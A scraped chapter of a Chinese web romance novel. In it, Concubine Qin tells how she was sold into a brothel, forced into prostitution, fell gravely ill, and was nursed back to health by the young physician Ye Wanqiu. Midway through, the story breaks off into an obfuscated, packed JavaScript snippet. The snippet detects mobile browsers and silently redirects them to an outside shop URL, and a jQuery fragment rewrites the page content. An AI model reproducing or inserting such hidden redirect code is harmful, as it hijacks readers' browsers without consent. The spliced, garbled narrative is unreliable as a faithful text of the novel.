10. 赌气
作品:《落魄夫君狠狠宠》 苏逢春一副赌气倔强不言的样子引得叶挽秋越发觉得有趣,小步追上他,扯住他的袖子踮脚欺身上前:“你生气了?”
被戳穿心事的苏逢春迅速别过脸,嘴硬否决:“没有。”
叶挽秋轻笑,鼻息喷到苏逢春脖颈,在不为人知的水面荡起一片涟漪,暗自勾起一抹潮红。
苏逢春仰起头时叶挽秋根本看不清他的表情,于是脚下发力,垫的更高了些,双手从他胸前搭上了他的双肩往自己身前下按,脸庞再次逼近苏逢春:“那你为什么不敢看我?”
叶挽秋的嗓音甜软,尾音还打着转。口中吐出的气息犹如蜘蛛丝一样缚住苏逢春,他一时间无法动弹,像是被山精鬼魅吸食了精气的书生一般。
“呵呵呵呵呵,好妹妹,你就不要逗他了。”
不远处传来熟悉的声音,带着女子的香腻柔媚,和她的身姿一样妙曼,媚骨天成,婀娜多姿。
苏逢春抬眉寻找声音来源的同时,叶挽秋也扭头看去。
只见一红衣的女子,带着丫鬟驻足在一商铺门口笑眯眯的看着他们,她手持花瓣形花鸟檀柄团扇轻摇,这不是秦姨娘是谁。
白天秦姨娘被王员外支开去东街打发时光,她身边的丫鬟手上还拎着几个盒子,显然是她刚从商铺逛完准备回府,结果撞上了这一场面。苏逢春正想要如何周旋脱身之时,却听见叶挽秋清脆的笑声。
“你这就要回府啦。”
苏逢春身前的人影一闪,刮起阵阵微风,突然觉得被包裹起来的东西变的空虚了。他看见叶挽秋扬着笑脸,非常自然的挽起秦姨娘的手,秦姨娘则用花瓣团扇轻点她的鼻尖,十分宠溺,两人举止十分亲昵。
原来他们认识。
苏逢春心底只剩这个想法。
“府中那么多姨娘,我回不回又有什么打紧,你我许久没见了,今日陪我好好说说话。”秦姨娘的执团扇手搭上叶挽秋的手。
“还未曾吃饭吧,我们去珍馐阁吃去。”秦姨娘挽着她就要往回走。
叶挽秋刚刚和秦姨娘转身就顿住了脚步,她撒开手转身跑向苏逢春,拉着他的手就要往秦姨娘那边走。苏逢春发觉秦姨娘主仆的视线都在自己和叶挽秋的身上,瞬间又摆出了痴汉表情,往前沉重且艰难的迈着步子一瘸一拐。
叶挽秋噗嗤一笑,伸手不轻不重的拧了一下他的侧腰:“傻子,别装了。”
苏逢春心中激起千层浪,隔着衣料被触碰到的地方触电一般的发麻,又是这种感觉。他有些错愕,心中正琢磨着,就感觉叶挽秋又将自己向前拉了拉,随即感受到她踮脚向自己靠拢。
叶挽秋一手四指并拢,立在唇边,一手拽他的衣袖,凑向他耳边,芝兰轻吐:“王员外,只好女色,不好男色。”
气息打在耳廓,极尽暧昧,苏逢春心跳的厉害,攥紧了药箱的带子,强定心神,但耳朵还是不着痕迹的晕红。等他意识到叶挽秋说的是什么的时候,脸色都发青了,后知后觉自己被戏耍了,转过头只叹出一个“你”字。
叶挽秋看着他爆红的双耳,以为是被自己气到了,如报大仇一般猖狂的笑着。
“走啊,茹儿姐姐请我们去珍馐楼吃好吃的,你刚刚不是对这些商铺很向往吗,珍馐楼的口味可谓一绝。”她又笑着拉了拉苏逢春。
秦姨娘看着两人打打闹闹,等到苏逢春走至身前,拿团扇在他眼前拂过,打趣道:“小公子的腿不瘸啦?”
“小公子觉得妾身美吗?”
苏逢春的面色稍显尴尬,只听见两个女子低低的笑声。
于席间之上,苏逢春得知了两人的关系缘由。秦姨娘要了个靠窗的房间,透过支起的窗户,不偏不倚就能看见对面的红袖楼。热气腾腾的饭菜送上来时,她便让丫鬟去外面守候,缓缓忆起往事。
“我本名秦茹儿,家住西街。”
她的母亲怯懦,在家中毫无地位可言,父亲好赌,兄长好色。为还赌债,八、九岁的时候被卖进了红袖楼。红袖楼培养她琴棋书画,诗词歌赋,几年时间,秦茹儿就长成了窈窕之资。在她十六岁之前,一直保持清倌的身份,红袖楼的老鸨见她姿色过人,花了重价钱培养,原是打算寻个良辰吉日,送与达官贵人卖个好价钱。
长大到十六岁的秦茹儿早就厌倦了这烟花之地,每个姐妹的下场都是她的将来。她暗自发誓一定要逃出去,终有一天趁着红袖楼守卫不备,偷偷跑了出去,可惜没跑多远就被抓到了,加上因为她的倔强和拒不接客的行为被打了个半死。身上有了伤痕,即便是花魁的名头,价格也就没有那么高了。老鸨一气之下将她房间上锁,困于牢笼,日夜派人看守,没几天就强行逼着她接客。
她终于成为了一点朱唇万人尝的娼妓。
那是一段十分灰暗的日子,每天有数不尽的人踏入她的闺房,从天黑到天明。
她百般求饶,拼尽全力捍卫尊严,换来的却是一张张狰狞、兴奋、垂涎、充满欲望的嘴脸。平日里风度翩翩的谦谦君子,在她眼前分明变成了野兽;素日里老实的邻居,于她床榻之上,犹如地狱中爬出的恶鬼;高坐名堂,身穿公袍的府衙官员,抱着她啃噬索取。
“人,都变成了鬼。”
秦姨娘还是望着红袖楼,神色冷漠,和在王员外府上娇娇媚媚的模样完全不一样。
短短一年,她就染上了花柳病,且病入膏肓。老鸨不肯花钱治她,任她自生自灭,父母家人只会在要钱的时候出现,她患病之后从未来看过她,昔日恩客也纷纷嫌弃她。
她不愿死。
十岁之前,囿于家中,整日被父兄欺凌打骂。那时候她就想,再等等,再等等。长大了就好了,有了自己的家,就好了。
十岁之后,几乎每分每秒都是在红袖楼中度过的,吃穿用度一应俱全。虽然看不到外边广阔的的天地,但不用风吹雨淋,过着吃了上顿没下顿的生活。她好学上进,肯努力,教学时所受的处罚是最少的。曾几何时也想着,做个无忧无仇的金丝雀,未尝不好,那段时间,她过的很满足,除了
楼中姐妹们的惨叫声和花季少女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659293|188363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被折磨后冰冷的尸体。
恐惧和厌恶从心底滋生,她不想变成那样,所以她逃。她想活,她想堂堂正正的,不用遭人白眼的活下去,她想走出红袖楼,看看雁云城的美景。
身患恶疾,皮肤的溃烂还在蔓延,她垂死挣扎着,披着一身黑袍走出了红袖楼。
这一次再也没有人拦她了。
她抱着自己这些年的积蓄四处求医治病,东城的医馆都是何等富贵之地,这种脏病,根本不允许她进门。她又循着记忆中的路跌跌撞撞回到了西街,记忆中,幼时的家。母亲颤颤巍巍的抱着她流泪,父亲嫌弃的推开她,拉回了母亲,大骂她是个万人骑的婊子,兄长啐了口痰,问她怎么有脸回来的,将她撵出了门。
她哭着求着大喊,可门怎么也不开,不知道喊了多久,天黑了,嗓子也哑了。她又浑浑噩噩的飘荡在街头,街坊邻居指指点点的声音刺进自己心里,恍惚间好像还有人往自己身上砸了几片菜叶子,她成了人人喊打的过街老鼠。
不知道走了多久,也不知道走到了哪里,她闻到了一股中药味,心中又点燃了希望,抬头就看到写有“叶家医馆”的旆旌在随风摇晃。她想再试一试,她一步三摇的走进医馆,诉说着自己的病情。
年轻的叶老爹面露难色,他一介男子,男女有别,平时就鲜少看妇人之病,更遑论女子的花柳病了。
那年叶挽秋十岁,见到了十七岁的秦茹儿。
正值青春年华的脸,却一片蜡黄,面露稿色,只有不断流出的泪水显示着生机。肌肤上布满了大大小小的疮,有些皮肤似墙皮一般已经脱落,脖子上是密密麻麻的红疹子。
“我来治。”
年仅十岁的叶挽秋给了秦茹儿新生。
这是第一个没有拒绝她的人,是第一个主动要治她的人。
事实上,她也是叶挽秋的第一个病人。
秦茹儿的瞳孔都颤了颤,抖着肩膀俯身跪在了叶挽秋身前。
这一治,就是三年。十岁的叶挽秋医术并没有那么精湛,对于花柳病也是初次接触,所知甚少。经常是她和秦茹儿在屏风后的塌上查看病情,叶老爹在屏风后辅助指导。刚开始的一两年,秦茹儿吃了很多苦,几乎跟药人没有区别了,她身上的每个穴位都曾被叶挽秋扎过针,大碗大碗的汤药灌下去,夜里疼的吐酸水,她也从来没喊过半句不适。
叶挽秋是唯一一个没有嫌弃过她的人,她愿意将自己的命交给叶挽秋。就这样磕磕绊绊的治着,手生的大夫,濒死的病人。曾有几次差点就挺不过来了,但她想起自己所受到的遭遇,想起所遇见过的人,想起自己匆匆的岁月,便硬生生活了下来。
就连叶老爹都说,她身上有很强的求生意志,若非如此,恐怕早就永堕阎罗了。
到了第三年,病情不仅抑制住了恶化,还慢慢好转起来了。她又恢复了往日的光彩,那么美丽,那么炫目夺人。
叶挽秋十三岁这年,秦茹儿又回到了红袖楼,重新接起了客。
这一次,是她自愿的。

